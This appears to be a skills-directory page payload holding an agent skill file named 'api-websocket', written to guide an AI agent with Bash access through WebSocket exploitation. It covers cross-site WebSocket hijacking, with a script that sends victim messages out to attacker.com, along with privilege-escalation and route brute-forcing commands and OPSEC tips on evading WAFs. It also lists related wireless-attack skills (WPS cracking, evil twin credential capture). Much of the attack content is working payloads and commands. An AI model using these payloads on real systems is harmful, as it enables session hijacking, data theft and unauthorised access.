[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M77071K0906K2P3QGA9RPBX6":3,"skill-same:01M77071K0906K2P3QGA9RPBX6":50},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":30,"commitSha":31,"skillDirectory":32,"forksCount":14,"repositoryHtmlUrl":33,"repositoryHomepageUrl":6,"ownerHtmlUrl":34,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":35,"install":36,"resources":49},"01M77071K0906K2P3QGA9RPBX6","api-websocket",null,"WebSocket exploitation — origin-bypass (CSWSH cross-site WebSocket hijacking), missing per-message auth, message-type confusion, msg-flood DoS, ws→wss downgrade, hidden RPC routes in the WS frame layer.","Iwakishirokoshu\u002FHermesUltimate","Iwakishirokoshu","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F194847626?v=4","01M75P4CVGA89TTCE8JGMNAQQ9","Around","01M75P4CWF85V6GVSEFKGGFZ03",0,"MIT","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fapi\u002Fwebsocket\u002FSKILL.md",[],[],"2026-11-12 13:55:43",false,"---\nname: api-websocket\ndescription: \"WebSocket exploitation — origin-bypass (CSWSH cross-site WebSocket hijacking), missing per-message auth, message-type confusion, msg-flood DoS, ws→wss downgrade, hidden RPC routes in the WS frame layer.\"\nallowed-tools: Bash Read Write\nmetadata:\n  when_to_use: \"websocket ws wss cswsh cross-site websocket hijacking origin socket.io stomp graphql-ws sse upgrade\"\n  subdomain: api\n  tags: websocket, cswsh, origin-validation\n  mitre_attack: T1190, T1185\n---\n\n# WebSocket Attack Surface\n\n## Detect\n\nLook for `Upgrade: websocket` in any handshake. Common paths: `\u002Fws`, `\u002Fsocket.io`, `\u002Fgraphql-ws`, `\u002Fcable` (Rails ActionCable), `\u002Fhub` (SignalR).\n\n```bash\n# Quick handshake test\ncurl -sk -i \\\n  -H \"Connection: Upgrade\" \\\n  -H \"Upgrade: websocket\" \\\n  -H \"Sec-WebSocket-Key: $(openssl rand -base64 16)\" \\\n  -H \"Sec-WebSocket-Version: 13\" \\\n  -H \"Origin: https:\u002F\u002Ftarget\" \\\n  https:\u002F\u002Ftarget\u002Fws\n# 101 = upgraded\n```\n\n## Top 5 bug classes\n\n### 1. Cross-Site WebSocket Hijacking (CSWSH)\nServer doesn't validate `Origin`. Attacker site can open a WS from the victim's browser with the victim's cookies:\n\n```html\n\u003C!-- Hosted on attacker.com -->\n\u003Cscript>\nconst ws = new WebSocket(\"wss:\u002F\u002Ftarget\u002Fws\");\nws.onmessage = e => fetch(\"https:\u002F\u002Fattacker.com\u002Fx?d=\" + btoa(e.data));\nws.onopen   = () => ws.send(JSON.stringify({op:\"list_messages\"}));\n\u003C\u002Fscript>\n```\n\nTest by sending the same request you saw in DevTools but with `Origin: https:\u002F\u002Fattacker.com`. If server accepts → CSWSH.\n\n### 2. Missing per-message authorization\nServer checks JWT on connect but trusts every later message. Send a connect with a low-priv token, then drop an admin-style message:\n\n```bash\nwscat -c \"wss:\u002F\u002Ftarget\u002Fws?token=lowpriv_jwt\"\n> {\"op\":\"users.list_all\"}     # ⚠ admin op succeeds\n```\n\n### 3. Message-type confusion\nServer dispatches by JSON `type` field. Send a message with two types or a type the server doesn't expect:\n\n```json\n{\"type\":\"chat\",\"type\":\"admin\",\"args\":{\"cmd\":\"shutdown\"}}\n{\"type\":\"\\u0061dmin\",\"args\":{...}}        \u002F\u002F Unicode-normalize bypass\n```\n\n### 4. WS → wss downgrade\nIf the app uses `ws:\u002F\u002F` over a public network: MITM to drop the upgrade and read everything in clear. Browser only forces wss for mixed-content cases.\n\n### 5. Hidden RPC routes\nWS multiplex many RPC methods over one socket. Discovery is rarely complete. Brute-force method names:\n\n```bash\nwscat -c wss:\u002F\u002Ftarget\u002Fws -H \"Authorization: bearer $TOKEN\" -x '{\"op\":\"PLACEHOLDER\",\"args\":{}}'\n# Replace PLACEHOLDER with each candidate: admin.*, internal.*, debug.*, eval, etc.\n# Distinct error per route reveals what exists vs what's gated.\n```\n\n## Tooling\n\n```bash\n# wscat — interactive\nnpm install -g wscat\n\n# websocat — netcat for WS\nwebsocat wss:\u002F\u002Ftarget\u002Fws\n\n# Burp Suite — full WS interception (Proxy → WebSockets History)\n\n# Pwntools-style for scripted attacks\npython3 -c '\nimport websocket, json\nws = websocket.create_connection(\"wss:\u002F\u002Ftarget\u002Fws\", header=[\"Origin: https:\u002F\u002Ftarget\", \"Cookie: session=...\"])\nws.send(json.dumps({\"op\":\"users.list\"}))\nprint(ws.recv())\nws.close()\n'\n```\n\n## Protocol-specific tips\n\n### Socket.IO\nMultiple \"engine\" levels: long-polling fallback, sticky sessions. Hit `\u002Fsocket.io\u002F?EIO=4&transport=polling` first.\n\n### STOMP over WebSocket\n`CONNECT` → `SEND` → `SUBSCRIBE` text frames. `SUBSCRIBE \u002Ftopic\u002Fadmin` often missing authz.\n\n### GraphQL-WS \u002F graphql-transport-ws\n`connection_init` payload often carries auth. Server may accept reconnections without re-authing — replay attack.\n\n### SignalR\nNegotiate URL `\u002Fhub\u002Fnegotiate`. Token in negotiate is reusable for the WS upgrade.\n\n## OPSEC\n\n- WebSocket sessions are long-lived — server-side detection is per-frame. Burst-write 1000 messages, observe quench\u002Ferror rate.\n- WAFs often DON'T inspect WS frames. Once inside a WS, you can move freely vs HTTP.\n- Browser DevTools \"Frames\" tab makes CSWSH PoCs trivially reproducible — capture-and-replay flow.\n\n## References\n\n- PortSwigger Academy \"WebSocket attacks\" track\n- OWASP WebSocket testing guide\n- \"Cross-Site WebSocket Hijacking\" — Christian Schneider (original 2013 writeup)\n","# WebSocket Attack Surface\n\n## Detect\n\nLook for `Upgrade: websocket` in any handshake. Common paths: `\u002Fws`, `\u002Fsocket.io`, `\u002Fgraphql-ws`, `\u002Fcable` (Rails ActionCable), `\u002Fhub` (SignalR).\n\n```bash\n# Quick handshake test\ncurl -sk -i \\\n  -H \"Connection: Upgrade\" \\\n  -H \"Upgrade: websocket\" \\\n  -H \"Sec-WebSocket-Key: $(openssl rand -base64 16)\" \\\n  -H \"Sec-WebSocket-Version: 13\" \\\n  -H \"Origin: https:\u002F\u002Ftarget\" \\\n  https:\u002F\u002Ftarget\u002Fws\n# 101 = upgraded\n```\n\n## Top 5 bug classes\n\n### 1. Cross-Site WebSocket Hijacking (CSWSH)\nServer doesn't validate `Origin`. Attacker site can open a WS from the victim's browser with the victim's cookies:\n\n```html\n\u003C!-- Hosted on attacker.com -->\n\u003Cscript>\nconst ws = new WebSocket(\"wss:\u002F\u002Ftarget\u002Fws\");\nws.onmessage = e => fetch(\"https:\u002F\u002Fattacker.com\u002Fx?d=\" + btoa(e.data));\nws.onopen   = () => ws.send(JSON.stringify({op:\"list_messages\"}));\n\u003C\u002Fscript>\n```\n\nTest by sending the same request you saw in DevTools but with `Origin: https:\u002F\u002Fattacker.com`. If server accepts → CSWSH.\n\n### 2. Missing per-message authorization\nServer checks JWT on connect but trusts every later message. Send a connect with a low-priv token, then drop an admin-style message:\n\n```bash\nwscat -c \"wss:\u002F\u002Ftarget\u002Fws?token=lowpriv_jwt\"\n> {\"op\":\"users.list_all\"}     # ⚠ admin op succeeds\n```\n\n### 3. Message-type confusion\nServer dispatches by JSON `type` field. Send a message with two types or a type the server doesn't expect:\n\n```json\n{\"type\":\"chat\",\"type\":\"admin\",\"args\":{\"cmd\":\"shutdown\"}}\n{\"type\":\"\\u0061dmin\",\"args\":{...}}        \u002F\u002F Unicode-normalize bypass\n```\n\n### 4. WS → wss downgrade\nIf the app uses `ws:\u002F\u002F` over a public network: MITM to drop the upgrade and read everything in clear. Browser only forces wss for mixed-content cases.\n\n### 5. Hidden RPC routes\nWS multiplex many RPC methods over one socket. Discovery is rarely complete. Brute-force method names:\n\n```bash\nwscat -c wss:\u002F\u002Ftarget\u002Fws -H \"Authorization: bearer $TOKEN\" -x '{\"op\":\"PLACEHOLDER\",\"args\":{}}'\n# Replace PLACEHOLDER with each candidate: admin.*, internal.*, debug.*, eval, etc.\n# Distinct error per route reveals what exists vs what's gated.\n```\n\n## Tooling\n\n```bash\n# wscat — interactive\nnpm install -g wscat\n\n# websocat — netcat for WS\nwebsocat wss:\u002F\u002Ftarget\u002Fws\n\n# Burp Suite — full WS interception (Proxy → WebSockets History)\n\n# Pwntools-style for scripted attacks\npython3 -c '\nimport websocket, json\nws = websocket.create_connection(\"wss:\u002F\u002Ftarget\u002Fws\", header=[\"Origin: https:\u002F\u002Ftarget\", \"Cookie: session=...\"])\nws.send(json.dumps({\"op\":\"users.list\"}))\nprint(ws.recv())\nws.close()\n'\n```\n\n## Protocol-specific tips\n\n### Socket.IO\nMultiple \"engine\" levels: long-polling fallback, sticky sessions. Hit `\u002Fsocket.io\u002F?EIO=4&transport=polling` first.\n\n### STOMP over WebSocket\n`CONNECT` → `SEND` → `SUBSCRIBE` text frames. `SUBSCRIBE \u002Ftopic\u002Fadmin` often missing authz.\n\n### GraphQL-WS \u002F graphql-transport-ws\n`connection_init` payload often carries auth. Server may accept reconnections without re-authing — replay attack.\n\n### SignalR\nNegotiate URL `\u002Fhub\u002Fnegotiate`. Token in negotiate is reusable for the WS upgrade.\n\n## OPSEC\n\n- WebSocket sessions are long-lived — server-side detection is per-frame. Burst-write 1000 messages, observe quench\u002Ferror rate.\n- WAFs often DON'T inspect WS frames. Once inside a WS, you can move freely vs HTTP.\n- Browser DevTools \"Frames\" tab makes CSWSH PoCs trivially reproducible — capture-and-replay flow.\n\n## References\n\n- PortSwigger Academy \"WebSocket attacks\" track\n- OWASP WebSocket testing guide\n- \"Cross-Site WebSocket Hijacking\" — Christian Schneider (original 2013 writeup)\n",{"name":5,"metadata":24,"description":7,"allowed-tools":29},{"tags":25,"subdomain":26,"when_to_use":27,"mitre_attack":28},"websocket, cswsh, origin-validation","api","websocket ws wss cswsh cross-site websocket hijacking origin socket.io stomp graphql-ws sse upgrade","T1190, T1185","Bash Read Write","main","c0c483827a963764d5e1a663a9591867d47289e6","stack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fapi\u002Fwebsocket","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu","2026-06-15 13:48:41",{"source":8,"skillName":5,"commands":37,"prompt":47,"zipAvailable":48},[38,41,44],{"tool":39,"command":40},"npx","npx skills add Iwakishirokoshu\u002FHermesUltimate --skill api-websocket",{"tool":42,"command":43},"bunx","bunx skills add Iwakishirokoshu\u002FHermesUltimate --skill api-websocket",{"tool":45,"command":46},"pnpm","pnpm dlx skills add Iwakishirokoshu\u002FHermesUltimate --skill api-websocket","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fapi\u002Fwebsocket\u002FSKILL.md",true,[],[51,58,65,72,79,86],{"skillNo":52,"name":53,"nameZh":6,"description":54,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":55,"categories":56,"keywords":57,"publishedAt":19},"01M770W8JDE5EC1TJT4GSDWD78","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":59,"name":60,"nameZh":6,"description":61,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":62,"categories":63,"keywords":64,"publishedAt":19},"01M770W4B7T5VCVHB88V1F02H1","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":66,"name":67,"nameZh":6,"description":68,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":69,"categories":70,"keywords":71,"publishedAt":19},"01M770W093C8FAV8S34K8VB6T9","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":73,"name":74,"nameZh":6,"description":75,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":76,"categories":77,"keywords":78,"publishedAt":19},"01M770VTNAQGZ3D0RQVFEKTE8Z","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":80,"name":81,"nameZh":6,"description":82,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":83,"categories":84,"keywords":85,"publishedAt":19},"01M770VNG05ZX3CV84R9GX8PJN","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":87,"name":88,"nameZh":6,"description":89,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":90,"categories":91,"keywords":92,"publishedAt":19},"01M770VHFH7N192V56PFSRXF5K","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]